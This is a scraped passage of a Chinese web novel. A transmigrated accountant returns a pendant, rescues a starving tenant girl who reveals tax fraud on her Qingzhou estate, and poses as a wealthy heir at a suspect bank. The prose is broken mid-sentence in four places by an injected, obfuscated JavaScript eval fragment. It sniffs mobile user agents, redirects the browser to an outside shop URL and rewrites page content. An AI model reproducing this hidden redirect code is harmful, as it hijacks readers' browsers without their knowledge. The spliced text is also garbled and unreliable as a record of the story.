辛景和似是看出不对劲,主动打圆场道:“大人和刘账房这就走了?不再吃点?” 姜琰笑着解释道:“这就走啦,大人你们还没吃完吗?” 辛景和笑笑:“我们早就吃完了,这不是看沈大人……” “咳咳”,沈瑜春在姜琰身旁咳嗽两声,声音低哑:“辛景和,你们还不走?” 辛景和腆着脸道:“差不多了……” 沈瑜春径直打断他,看向管综:“去年所有知府上缴的钱粮都核对完了?” 管综瞬间汗流浃背:“呃,这个……” 说罢又看向徐营:“所有府州的粮草都清算完了?” 徐营扭捏道:“这个……呃……” 沈瑜春此时声音异常冰冷森寒:“那还不快去!” “还有你、你、你,都干完了?” “没……” 姜琰感觉自己身旁的沈瑜春都要打人了,硬是将这口气憋在心里,强忍着怒意道:“那还不给我赶紧回去!” “这就去这就去……”几个人如蒙大赦,跑得比兔子都快,其中几个人在慌乱中撞到了门,等那一群浅绯色身影消失后只留下咿咿呀呀前后摇晃的纸门。 姜琰看见刚才那一幕想到了自己现代世界的上司,也是汗流浃背了,频频擦汗,看着沈瑜春还紧攥着拳头,也不知道该说什么,四处乱看转移视线,倏然发现门口那里多了一个玉佩。 姜琰走过去把地上的玉佩捡起来问道:“沈大人可知这是谁的?” 沈瑜春已经恢复了原来谦逊温和的模样,但依然能看出眉眼之间略带不悦,语调平淡:“不知道。” 姜琰看这玉佩质地细腻,入手温润,镂空的圆环中刻着一朵精致莲花,不像是平常经常把玩的物件,更像是某世家族人的信物,她心想这应该挺贵重的,怕丢了玉佩的人着急,于是匆匆对沈瑜春说道:“沈大人,我先去寻一寻这玉佩的主人,您要是着急可先一步回府。” 说完也不听沈瑜春接下来要说的话,疾步走出厢房,看见那一群人正在楼下和一个穿着褚色绣金丝饕餮纹长袍的乡绅交谈,便飞速下楼,默默守在一旁等他们说完话自己再去问。 她站得比较远,在酒楼角落快要进巷子的地方,又身着男装,乍一看与平常百姓无意,他们也没发现她,她便一边等着一边听他们谈话。 辛景和能说会道,在前面打头阵,聊着聊着后面几个官员见自己插不上话,便开起了小差,窃窃私语道:“你听说了吗,沈大人和一个普通账房一起吃饭!” “我听辛大人说了,据说那个账房算学天赋过人,户部这次的军中账务多亏了他才能解决!” 另一个小官接过话说道:“那也不至于单独吃饭吧!你见过沈大人和谁吃过饭吗?” 在他们前面的小官回头:“哎呀呀,你们真是木头脑袋,人家根本不是为了吃饭呀!” 刚才的两人好奇道:“那是为什么?” 前面的小官一脸恨铁不成钢地说道:“为了那个!那个呀!” 两人挠挠头:“什么啊!” 小官“啧”了一声,语气暧昧道:“你们听说过沈大人和哪个世族小姐走得比较近吗?” 两人缓缓回道:“没……” 小官激动地拍一下大腿,引得周围人侧目,他立刻压低声音道:“没就对了!沈大人他根本就不喜欢女人!” 两人惊得眼睛睁得老大:“啊?!” “你……你是在说沈大人他……” 小官意味深长地点点头:“沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12885343|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人他,有龙阳之好!” “什……”姜琰在一旁吃瓜吃得津津有味,忽然听到这一句,差点没叫出声,沈瑜春是姐妹?她怎么不知道?看着不像啊! 那边的小官还在言之凿凿地说:“沈大人他已经快到而立之年,以他的相貌家世才学,哪样不让世家女子为之倾倒,可如今他族中比他小得都陆续成果,他这里还没动静,能是为什么,当然是不喜欢女人,我听说那刘账房长得也是唇红齿白的玉面小生,大人没准就喜欢这款的!” 若不是姜琰不方便暴露自己,她可真想为这位仁兄的想象力拍掌呐喊,这思维也太清奇了,怎么想出来的啊,都可以写话本了。 那两个小官一听是这么个道理,频频点头赞同道:“还是王兄厉害,一下就看清其中辛秘,某佩服不已。” 姜琰:喂喂,沈瑜春像那什么关她什么事啊! 三人又深扒了一下沈瑜春平日里的种种行为,前头那人说得头头是道,好像真有那么回事似得,姜琰见前头辛景和他们已经陆陆续续要上车,忍不住打断他们:“几位大人,您看这玉佩是谁的,小人不小心捡着了,劳烦大人。” 那人一看她穿着粗布衣裳,嫌弃道:“哪来的乞丐,滚滚滚。” 姜琰心想就你那点破工资也就是公务员这个职业比较体面,站着把饭要了,牛什么牛,在现代那都是牛马,而且他身着绿袍,官位大概在九品上下,顶多就一科员,说话也不客气起来:“大人为何如此生气,小人只是问问这玉佩是哪位大人的,犯不着说小人吧?” 那官员嘿一声,听她话语里的阴阳怪气刚觉收到了侮辱,觉得这刁民真是大胆,竟敢如此猖狂,撸起袖子就要打他,旁边两位同僚及时将他拉住,劝他道:“王兄,王兄!你干嘛和他这种乡野小民计较,律法说了不允许官员殴打平民,你这是要被罚的!” 这位王兄看着他低吼道:“我不打他,他不知道自己几斤几两,我可是……” “你是什么?” 姜琰和他皆是一愣,抬头看去,发现辛景和板着脸道:“王立礼,你怎么回事,身为京中官员,怎能殴打百姓,你这乌纱帽还要不要了!” 随后他对着姜琰鞠躬道:“刘账房,怠慢了。” 王立礼一听账房二字瞬间反应过来,意识到自己得罪人了,但又拉不下面子承认,强词夺理道:“大人,这刁民也太张狂,竟然侮辱朝廷官员!” 辛景和不屑地笑了一下,上下打量他一番,说道:“你什么朝廷官员,你就一走后门的关系户,别以为我不知道你怎么进来的,再在这儿废话,我让你爹揍你!” 王立礼一听这话,立刻闭嘴,辛景和瞪了他一眼,对她恭敬说道:“刘账房突然下来,是有甚么事啊?” 姜琰将手中玉佩交给他道:“这可能是某位大人的玉佩,刚才慌乱中掉在地上,被我看见,来还给大人们。” 辛景和小心翼翼接过道:“好好好,看样子是仲材的,我等会儿问问,劳烦账房下来。” 姜琰急忙摆手道:“没有没有,您太客气了,既然如此,那我就先走了,您们早点回去罢。” 辛景和微笑着点头,姜琰转身离开了。 站在一旁的王立礼目瞪口呆,没想到辛大人对此人态度如此恭敬,问道:“这是……” 辛景和没好气地骂他道:“我说你脑子是不是进水了,人家长这么美当然是和沈大人吃饭那个,好歹你爹也是礼部尚书,你怎么这么没眼力见!” 王立礼惊讶道:“他就是那个能看一眼就把账本一字不差背下来的刘账房?我还以为是个唱戏的小白脸。” 辛景和一拍脑门,戳着他的头道:“你……你,我真服了。” 10.第 10 章 姜琰回到厢房里时,沈瑜春正定定望着楼下街巷里来来往往的车马人群,听到身后有轻微响声,他回过头道:“你刚才和那个小官说了什么?看起来好像有点儿不愉快。” 姜琰耸着肩摊开手道:“这人说话太不客气了,我没忍住就……” 沈瑜春认同地点点头:“这是礼部尚书王宗正的小儿子,当初他会试落第,以纳银的方式进入国子监读书,没过两年就是初云升案……总之那只后户部人员紧缺,王大人便向胡尚书推荐王立礼入户部,成了司务。” 姜琰:合着就是一路走后门,从劳务派遣变正式工呗。 但她还有许多想问的,譬如那时沈瑜春已经在户部,以他的性子,怎么对此事如此轻描淡写的一笔带过? 不过沈瑜春似是不想再讨论这个话题,将思绪收拢,对姜琰说:“姜小姐,让在下送你回姜府吧。” 姜琰一看外面日头正大,连忙点头道:“那就多谢沈大人了。” 沈瑜春一拂袖,率先走在前面下了楼,姜琰跟在他后面,临到柜台前才发现自己还没结账,刚从袖子里掏出两块碎银子,就听沈瑜春说道:“不必了,我已经结过了。” 姜琰有些不好意思:“说好了我请你,怎好意思让大人付钱?” 沈瑜春无谓道:“你为我户部做事,我自然应负责你的吃穿用度。” 姜琰挠挠头,扭捏了几下也想开了,郑重点头说道:“那下次我请你可就不许推辞了。” 沈瑜春浅笑着回道:“好。” “上车吧。” 沈瑜春指向前方,但车夫并没有放下矫凳,而是面露难色:“大人,这车轮子坏了,走不了啦!” 沈瑜春急忙蹲下查看,发现是车辐断开,整座车都摇摇欲坠有下塌之兆,很明显不能承载两人,姜琰立刻上前说道:“沈大人,我走回去就行,这儿离姜家也不是很远。” 沈瑜春义正言辞道:“怎能让你一个人回去,我送你罢。” 姜琰觉得一个人两个人都无所谓,没拒绝也不客气,只是笑着说:“那好罢。” 二人慢悠悠地在街上走着,时不时闲聊两句,但大部分时间都是姜琰在说,沈瑜春则安静地侧头聆听,时不时回应一两句,让姜琰意外的是沈瑜春并不像想象中那么沉闷无趣。 “死丫头!你跑什么!快把我包子还回来!” 快到姜府时,二人突然听到前方有人在追逐吵闹,堪堪抬头,就看见一个蓬头垢面,身着蓝布褂子的少女向他们跑过来,看到姜琰后伸出脏兮兮带着油渍的手求救道:“公子,救救我啊……” 姜琰伸手将她拽到身后,此时追在她后面的汉子也跑过来了,看着姜琰把她护在身后,气喘吁吁地说道:“娘的,你这个小白脸还护人呢,劝你识相的赶紧给爷滚开,不然要你好看!” 姜琰冷静回道:“你为何追她?” 那汉子满脸横肉,一听这话表情更加狰狞:“关你屁事!” 骂完他还不解气,抡起拳头就要给姜琰一下,姜琰霎时感觉一道风劈过来,认命地闭上眼,未料想象中的痛苦并没有到来,睁开眼时看见一只骨节如玉的大手抵住了汉子的拳头。 姜琰看沈瑜春体格清瘦,想来也不是这人的对手,能接他一拳已然是侥幸,没想到沈瑜春手指微微用力,那汉子就疼得满头大汗:“啊!啊!要捏断了,你赶紧放开!” 沈瑜春眼中迸出寒光:“会不会说话。” 汉子差点没磕头认错,疼得缩起身体:“我说我说!” 沈瑜春甩开他的手,汉子揉了揉几欲断裂的指节,气急败坏地指着身后的小姑娘:“都是她,她偷我铺子上的包子,被我看见了,我让她还回来就算了,结果她不听,拿了就跑,我来追她,你们还打我,有没有天理了?!” 姜琰回头看向那少女,她整个人几乎要贴在姜琰的背上,睫毛轻颤,很明显被吓到,姜琰安抚她道:“别怕,他说得是真的?” 少女脸色瞬间涨红,踌躇良久后认命地点了点头,声若蚊蚋:“可我真的太饿了……” 姜琰目光在二人之间扫了几下,温和地上前说道:“这位大哥,咱做生意讲究的不就是以和为贵,您满大街的追着一个小姑娘跑,不知情的还以为大哥您脾气不好喜欢计较,您大人有大量,而且这小姑娘也认错了,这样,我这里有一些碎银子给您,您看够不够她偷的包子的钱?” 汉子一看她手里闪着冷光的碎银,哼了一声,蛮不情愿地伸手将银子拿走,揣进怀里,觉得这个结果还算满意:“也行吧,”说罢他转身就走,刚迈开腿又跟想起了什么似的,猛地转过头指着那小女孩儿恶狠狠地说道:“下次别让我看见你!” 小姑娘身子又抖了一下,姜琰立刻上前附和道:“不会了不会了,大哥你放宽心!” 汉子向地上啐了口痰,摸摸怀里的钱,心满意足地离开了。 少女见汉子已经走远,身子一下子瘫倒在地,姜琰连忙去扶住她,见她脸色苍白,关心道:“姑娘你没事吧!” 少女虚弱地摇头,勉强扯出一个笑容:“多、多谢公子相救……” “姑娘不必客气,这是鄙人应该做的,只是我看姑娘像是有好些天滴水未尽了,我听你说话的口音,你不是濯州人吧?” 女孩子点点头,嗫嚅着说道:“我是青州豫县人,来濯州,是想找一个人。” 姜琰一听青州豫县,觉得有些耳熟,进一步问道:“你来找谁?我或许认识。” 少女皱着眉头,手指绞着短袄下摆的一小块粗布,像在犹豫,姜琰看出她的顾虑,循循善诱道:“姑娘莫怕,鄙人自小在濯州长大,无论城中权贵,还是乡下农夫,我都能搭上几句话,我爹是濯州乡绅,还是有几分薄面的。” 少女似是觉得眼前这人比较可信,嗫嚅着回道:“我要找的,是姜家大小姐,姜琰。” 姜琰还没反应回来:“啊……姜琰啊……啊?姜琰?” 我? 她竟没想到吃瓜也能吃到自己头上,那小姑娘见她满脸错愕,以为是她怕得罪人,抿着嘴倔强抬头道:“不劳公子费心,我……” 然而这话还没说完,她便两眼一黑,软绵绵地昏倒在地了。 姜琰惊呼一声把她接过,将她搂在怀里,见她面色惨白,嘴唇已经干裂出血,心想应该是数日奔波太过劳累,冲着门内喊道:“来人啊!来人!” 守在门口的小厮慌张地将门拉开,入眼便是女扮男装的大小姐怀里搂个干瘦的小女孩,瞠目道:“小姐您这是……” 姜琰急忙说道:“愣着干什么啊,赶紧帮忙啊!” 小厮反应过来,嗷嗷两声就要上前去扒少女,姜琰侧身躲过道:“不是叫你们!找两个姑娘来!” 小厮这才反应过来这姑娘应该只有十三四大,还是个小丫头,两个男人毛手毛脚弄疼人家不说,让人家姑娘也不好做人,于是抬腿飞跑去屋内寻了两个洒扫的丫头,三人一齐把这小姑娘抬到了客房,找了府内郎中来看,发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914038|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现是体虚脱水,好好静养几天就行。 等一切安置妥当,姜琰这才想起来自己还没和沈瑜春道别,一下子慌了神,连忙走到门外,本以为沈瑜春已经走了,一开门发现他还在门口,站得笔直。 姜琰被他这正经样子逗笑了,无奈道:“不好意思啊沈大人,刚才事情紧急,忘了跟您打声招呼了。” 沈瑜春还是一副淡淡的模样:“无碍。” 姜琰接着问道:“那您……” “我这就回去了。” 姜琰行礼道:“告辞。” 沈瑜春本来转身要走,听到这句话又转回来了,挑着眉问:“告辞?” 姜琰愣了一下,接着听到他说:“七日之后,巡查官员回京,姜小姐不会忘了答应过下官什么吧?” 姜琰心想自己是逃不过了,只好认命地说道:“没忘,七日后我会和你走的。” “那就好。” —— 大约晚饭过后,婆子跑过来告诉她中午带回来的姑娘已经醒了,姜琰换了身衣服来到西房,进门时这小姑娘双眼空洞,茫然地盯着前方。 姜琰心蓦地一沉,走进坐在她床边问道:“姑娘找我有何事?” 其实早在清醒之时,她便已经知道了此处就是姜府,下午就她的人正是男子装扮的姜家大小姐姜琰,一时间对她感情复杂起来,她懵懂地抬头问道:“你为什么不管我们。” 姜琰一愣:“啊?” 什么不管他们,他们是谁? 女子咬着唇,眼中含着泪光,她本不想哭出声的,但一张口声音便带着哭腔:“为什么不来青州看看你的田产,你知不知道,你知不知道……” 你知不知道我的爹娘姐妹兄弟都累死在了这片他们日夜耕耘的田地里啊!!!! 她还想在说什么,但嘴唇翕合,只能泄露出嚎啕的哭声。 青州…… 她好像是在账本上看过她在青州有一个农庄,但账簿上显示这个农庄的经营状态很正常啊…… 姜琰更加不知所措,轻轻拍着她的背道:“到底怎么了,是青州发生了什么事情吗?” “常禾。” 姜琰:“什么……” 我的名字叫常禾。 我家里世世代代都是青州豫县常庄的佃户,我的祖祖辈辈都在这片土地上劳作,但沉甸甸的稻子压弯了他们的脊梁,我的父老乡亲们自前朝就在这片土地上耕耘,但他们始终没有钱从当地乡绅福老爷手上买回来一块良田。 秋税、夏税、生丝税等等杂税让他们不堪重负,但我主仁慈啊,宣德三年,圣上说要将丁银摊到田赋里,村里的杜秀才说这是能让我们少交税的好方法,他说这样只以田地多寡交税,我们再也不用按家里人□□了…… 可是、可是这个福老爷不知道从哪里得来的方法,不是按田地交税吗,他、他竟然将那些田地低价卖给其他乡绅,雇佣他人的佃户瓜分少交的赋税。 地少了,也就不需要那么多人了,我们一家没有钱也没有粮……很快,我的爹、娘、阿姐、小弟都饿死了…… 我走了很远的路,才来到这里,偷东西、抢吃的,我什么都干过,我觉得愧疚,我从来不敢看天,我怕看到我家人濒死的脸…… 但每当我活不下去了,我都会想一件事。 我在想,福老爷经常说这是姜小姐的产业,可姜小姐为什么不来看我们呢,她知道,我们正处在水深火热中吗…… 我要去找她。 11.第 11 章 窗外夜色如墨,强劲的夜风猛然吹过,屋外的树木哗啦啦地摇晃着,纸窗簇簇作响,拍打着紧密关起的木门,屋里昏黄的烛火幽幽亮起,少女眼底浮现出一片片淤青。 姜琰安静地听她哭诉,心里对这事儿有了个大致的了解。 常禾还在小声地啜泣着,姜琰一边安抚着她一边打开了她名下产业的所有数据报表——她在县衙的时候就已经将这些数据存了下来,沈瑜春他们将账本上的数额整理得很干净,她很快就翻到了常庄的账务。 “怪不得我没发现有问题”,她腹诽道,“原来是这个福老爷篡改了田产数据,还是从一开始拿到刘氏的账本时就改了。” 她趁着常禾低头,将左手伸到面板前滚动报表,发现账本上写的是“农田是四十亩”,但仔细看就会发现“是”那个字中间一横也写得太高了,根本没和“四”对齐,而且那一横其长无比,根本不像是正常写出来的字,若是把其他笔画都去掉,很明显能看出原先写得是“一百四十”亩。 姜琰两眼一黑,做手工账就是有这样的短板,不像现代财务系统那么方便,一些人为了偷税漏税或者侵占他人财务,篡改数据是常有的事。 只是她也不能以这个名义就定福必成的罪,总要有些实质性的证据才行。 【滋……滋滋……正在连接……】 姜琰一听到这个声音,目光闪了闪,心中高兴地大叫道:“系统!这几天你去哪了?” 【连接成功。】 紧接着,系统用他冰冷的机械音回道:“总部要求我返场升级,新添人工智能应答功能,这样能减少程序上的逻辑错误。” “好吧。” 姜琰正想问能不能有什么机会让她去一趟青州,系统便发布任务道:【会计核算业务奖励积分已到账。】 【新任务:前往农庄。】 【任务内容:补齐农庄应交税赋,收回应有土地,为当地农民寻一个更加妥善的管理方法。】 【任务奖励:财政系统】 姜琰一时没忍住跳起来大喊道:“什么系统?财政系统?!” 常禾见头顶掠过一道黑影,呆滞地抬头,见姜琰气急败坏地吼道:“你可真刑啊!” 系统不依不饶道:【此任务为固定任务,请宿主及时完成。】 姜琰骂骂咧咧地和系统争辩着,榻上的常禾一头雾水:什么这是犯法的?什么黑客…… 常禾本来就虚弱,一看姜琰正手舞足蹈地自言自语,突然觉得有些害怕,堪堪抬起手道:“……姜小姐?” 姜琰瞥见余光里一双惶恐的大眼睛盈盈望着自己,突然卡壳,在心里狠狠骂道:“等我回去再和你算账!” 这系统升级了一下就是不一样,还会回嘴,义正言辞道:“反正你必须要去,不拿奖励也要去。” 说完就啪嗒一声掉线一般不回应了。 该死! 她暗骂一声,这个鬼系统到底在搞什么? 她回头望向常禾,忽明忽灭的灯光中看不清她的神情,只能看到她收敛了往日的嬉笑,声音轻轻、淡淡的,沉寂着死意:“该我的,我一分都不让,同样,该我给你们的,我一分都不会拖欠。” 常禾紧抓着身子被褥,感觉脑中闪过一阵白光,她本来就没好利索,如今已经是在强撑着和她说话,姜琰见状便上前将她头轻轻托住,身体躺倒,她替她掖了掖背角,温声道:“睡吧常禾,过两天等你好了,我们就起身去青州。” 常禾看着她那双澄澈的双眸,莫名觉得安心,竟然下意识地“嗯”了一声,原先那些复杂的情绪此刻也沉入这双如秋水一般的眸子里了。 姜琰守着常禾入睡到半夜才回到兰居,打开门发现盼春已经躺在侧榻上睡着,想来是等了自己许久也没有等到她回来,到底是小孩子,忍不住睡着了。 她伴着轻微的鼾声打开系统,用天眼查查了一下福必成过去的关联交易,将目光锁定在“康日吉”和“余士玮”这两个人,页面。上并没有明确说明这三人曾发生大批量田产交易,但这三人几乎是同一时间将大量的资金注入名下其他产业或者开设了其他业务,资金还不少。 看来青州她是必须要去一趟了。 敢在她的产业上动手脚,等着吃牢饭吧! 但…… 她还答应了沈瑜春要去湖州啊……不去湖州,又兑换不了财务软件…… 事情一下子涌上来,姜琰感觉一阵深深的疲惫,揉了揉涨疼的眉心,问系统:“这个任务我大概多少天就能完成?” 系统回道:【正在测算任务预计完成时间,嘀——测算完成,最多需要七天。】 她在心中盘算着,青州离濯州不远,来回快得话需要两天,剩下五天如果抓紧时间应该是可以完成的。 只不过她不能以姜琰的身份去。 她将页面关闭,重重叹了口气。 盼春在睡梦中听到一声叹息,屋外狂风呼呼作响,一声惊雷将她劈醒。 “小姐!”盼春大喊着惊坐起身。 姜琰正剪着烛芯准备上床,听见这一声尖叫,手吓得向后一缩,剪子掉落在脚下猩红的织锦毛毯上,发出闷响。 她走过去拍了一下盼春毛茸茸的脑袋,嗔道:“盼春,你在叫什么呢,骇死我了!” 盼春红着脸躲着她的手,嘟囔着:“小姐你总是不回府,盼春担心你嘛。” 姜琰眸光闪了闪,此刻外面风雨骤起,可她站在烛火旁边看着盼春稚嫩的小脸,竟感觉有些温暖。 她的声音还是轻轻的,却好像穿透了杂乱风雨声,她说:“盼春,睡吧,我过几日还要出去一趟,你在府里待着没事可以去松雪斋看看,里面有许多大家孤本。” 盼春眼睛亮了起来:“真的?!” “嗯。” —— 翌日一大早,姜琰便身着男装去找了沈瑜春,告诉他自己明日将启程去青州查看农庄情况。 “沈大人放心,我不会耽误你们去湖州的行程,大概初六那天便会回来。” 沈瑜春正手执书卷,听到她要去青州,淡色的眸子盯了盯她,声音有些低沉:“既然姜小姐这么说了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930800|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈某没有异议。” 姜琰笑得灿烂,弯腰拱手道:“沈大人宽厚。” 沈瑜春摇了摇头,又低头看着书卷,他坐在半开的窗牖下,炽碎的日光缓缓泄下,他侧着脸,高挺的鼻梁流淌着金光,眼睛低垂,慵懒地靠着着金丝楠木的高几,青白釉梅平上斜斜插着一只海棠,映出他如墨的鬓边。 人比海棠俏。 姜琰定定地看了他片刻,沈瑜春抬头挑眉问道:“姜小姐还有事吗?” 姜琰怔愣道:“……啊,没了,小女告辞。” 屈膝行礼后,她稳住心神转身离开。 “姜小姐。” 沈瑜春站在她身后,忽然出声唤她。 姜琰身形顿了顿,应道:“沈大人还有何事?” 沈瑜春抿了抿嘴,没有说话,姜琰在前面耐心地等他将话说完。 但没有。 他只是勉强扬了下嘴角,哑声道:“无事……保重。” 姜琰灿然笑道:“多谢大人。” —— 常禾又在姜府修养了两天,期间姜秉回来了一次,听说她要去青州只是嘱咐了几句让下人帮着拾掇出行物件儿,只在家待了一天又匆匆离开。 因为耽搁了一天,姜琰不得不抓紧时间,等常禾稍微能下床走路便在凌晨招呼车夫上路,原本一天半的路程她只用半天便赶到了,一路上屁股都快坐裂了,常禾则给她另外安排了一辆车在后面慢慢赶,她先到管道上的客栈里住下。 “咚咚咚。” “进。” 姜琰正襟危坐在木桌上,店掌柜给她上了一盏上好的安吉白茶。 “客官,这是小店送您的春茶,刚从茶山上摘来的,您尝尝,是不是很香!” 姜琰浑不在意地嗯声,好像这香茗只是再普通不过的茶水,掌柜的再看了一眼自己眼前的男子,这人虽然是坐车来的,但一身骑装,头戴皮貉帽,帽檐上一道明黄锦缎压边,几百种倒福子的花纹环着脑袋,额前一块儿葱绿的翡翠熠熠生光。 明明是土地主的装扮,可偏偏这人又美如女子,硬生生的给他穿出几分带着压迫感的贵气。 “咳咳。” 姜琰适时咳嗽,掀起眼皮扫了他一眼,掌柜的这才发觉自己探究的眼神过于冒犯,心中默念非礼莫视,将茶杯放在桌上就点头哈腰地离开。 姜琰一扯头上的帽子,天杀的,五月份带皮帽,要不是为了装暴发户还真不必如此。 此时已经日薄西山,红霞漫过金黄天边,姜琰拿起茶杯轻抿了一下,发出喟叹:“果真是好茶,还是有钱好。” 一想到等会儿的计划,她叹了口气,又把那顶捂脑袋的帽子咬牙带上,摸了摸怀里的银票,嗯,还在,鼓鼓的很安心。 她顺着系统页面上的地址,找到了康氏钱庄,推门而入。 那柜台边的伙计一开始没抬头看人,只是懒洋洋地低头打着算盘问道:“您要干点什么?” 姜琰将自己怀里的银票啪啪啪打在桌上,厚度几乎有三分之一的毛笔长度,粗声道:“存钱。” 12.第 12 章 哗啦啦的钱声吸引了伙计的注意,他这才抬起头看向面前的人。 眼前男子的装扮看起来有些土气,过于粗犷,唯有那张白净脸蛋看起来还比较聪明,于是谄媚道:“公子何许人也?” 姜琰冷哼一声:“我来存汇,还要和你们这些人交代家底?” 伙计一看这人还有点脾气,立刻改口道:“不敢,不敢,只是小人看您这银票大概有几万两,息钱数额巨大,我得通报一下我们老爷才行。” 姜琰不耐地说道:“赶紧去,晚了小爷可没空等你们。” 伙计点头哈腰地退下,掀开后面的门帘,不消片刻,伙计就咧着嘴请她道:“公子,您里面坐会儿,我们老爷就快来了。” 姜琰跟在估计后面进了钱庄内院,穿过曲折连廊进入一个小屋子内,但别看这屋子虽小,还没有姜家的柴房大,但装潢精巧,四周挂满了锦绣山河的壁挂,一道漆嵌百宝屏风将室内横作两面,透过缝隙能隐约看出深处的一张桌子。 伙计提前一步拉开椅子,将茶水倒好,恭敬弯腰道:“公子贵姓?小人一直叫您公子也不礼貌不是?” 姜琰颔首,难得没有不悦,回道:“易见山。” 伙计一愣,小心翼翼问道:“可是太平易氏?” 姜琰皱眉,觉得他大惊小怪:“怎么,我们易家难道都是吃人的怪物不成?有什么好奇怪的?” 伙计心想这可真是让他捞着真富豪了,泼天的富贵就这么直接砸了下来,还让人有些觉得不真切,脑子里嗡声乍起,已经在想自己发达了在哪修宅子娶多少房小妾了。 姜琰见他伙计惊恐又激动的模样,觉得讽刺:别说这伙计不信,就连她也在心里打鼓,清远沈氏,太平易氏,是南胤鼎鼎有名的世家望族,同样都是四世三公,但与清远沈氏不同,太平易氏是贩私盐起家的。 两百年前的周朝时期,时局动乱,各路藩王纷纷造反,原本做水运的易氏先祖抓准时机,凭借着靠海的优势贩卖私盐,搭上了后来了夏高祖当时的周离王,为其军队供盐和粮草,后来高祖即位,易家为表忠心当即断了自己的制盐之路,表示贩私盐只是迫于局势,高祖将信将疑地封了易氏先祖为宛南织造主事,成了皇商,几百年来兢兢业业,成功由商从政,期间还出了几个位居公位的大官,到了今朝,虽然不如从前,但瘦死的骆驼比马大,也算是南胤响当当的名门了。 姜琰之所以将自己身份伪造为易氏子弟,一是因为这个家族黑白两道通吃,近几年也没有在朝中为官的,能放松康日吉的警惕;二是自从宣帝亲政后,朝廷更倾向于草根官员,对士族的任免力度远不如前,易家也低调起来,很多事情只是传说,根本无从考究,比沈家那世代为官的家族子弟好装太多。 他浑身发软,斟茶的手抖了抖,一滴茶水落在外面,姜琰“啧”了一声。 “啊!小人该死!” 伙计反应过来立刻磕头跪下,不停地认错道歉,姜琰被他这鬼吼鬼叫的阵仗烦得不行,低喝道:“你这人怎么回事!咋咋唬唬的,你们老爷呢,怎么还不来?!” “哎呦我来迟了,让公子久等!” 一声洪亮的嗓音在屋外响起,姜琰隔着屏风看见一道黑影悠悠扫过,须臾便到了自己身前,一个圆脸男人大笑着出来,此人衣着华丽,乍一看像个宽和的富商,但实际上三角眼吊梢眉,眼里闪着贪婪的精光,脸上白花花的肉垂坠下来堆在脖子上,看上去就像一个裹着五彩斑斓锦缎的圆桶上插了个脑袋。 想必这人就是康日吉了。 此人见到他没有立刻行礼,而是大致大量可以一下她的衣着打扮,正欲开口,姜琰却不惯着他,而是直接了当的说:“你们钱庄到底在搞什么鬼?” 康日吉只是笑笑,眼神阴测测的:“小人听说公子是易家子弟,可最近几十年来易家深居简出,公子可有什么能证明自己身份的物件儿?” 姜琰拍桌而起:“大胆!我易家人其是你这种土地主能置喙的?你家钱庄伙计莫名其妙的就将我拐到这里我还没和你算账,你算什么东西,敢拦我易某人的道?” 康日吉没想到这小嫩犊子脾气这么火爆,一时间话被堵住,在心里思索道:看这架势当真有点东西,不过易家人怎会来我钱庄存钱,不问明白我不好开展下一步啊。 姜琰见他在心中考量,将桌子一掀,四平八稳地走上前道:“暗戳戳地在那儿搞什么小动作,我告诉你,爷耐心有限,有屁赶紧放,别耽误我时间。” 身旁伙计见到嘴的鸭子肉就要飞了,连忙上前凑近康日吉耳边道:“哎呀老爷,您在犹豫什么呢,这人是不是易氏又有什么关系,他出手阔绰,易氏的名头只是一个保障而已,根本不抵什么用啊,咱们现在还是抓紧把手里的烫手山芋甩出去比较好……” 康日吉只是一个不断攀高枝爬上来的拉货郎,是嚣小,目光短浅,又想到前几日严县令透出的消息,说户部这次巡账的官员会来这边审查,急忙将最近非法交易来的农田甩手,心一横回道:“易公子喜怒,小人并不是无缘无故地就将公子留在此处,小人之所以如此行为,是想和您做笔生意啊!” 姜琰冷哼一声道:“我易家家底雄厚,手指缝里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942002|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漏出的东西都够你们吃一辈子了,凭什么要和你做生意?” 康日吉被这一针见血的问题问得愣住,卡了好一会儿才讨好笑道:“沈公子您为何来我钱庄存钱?” 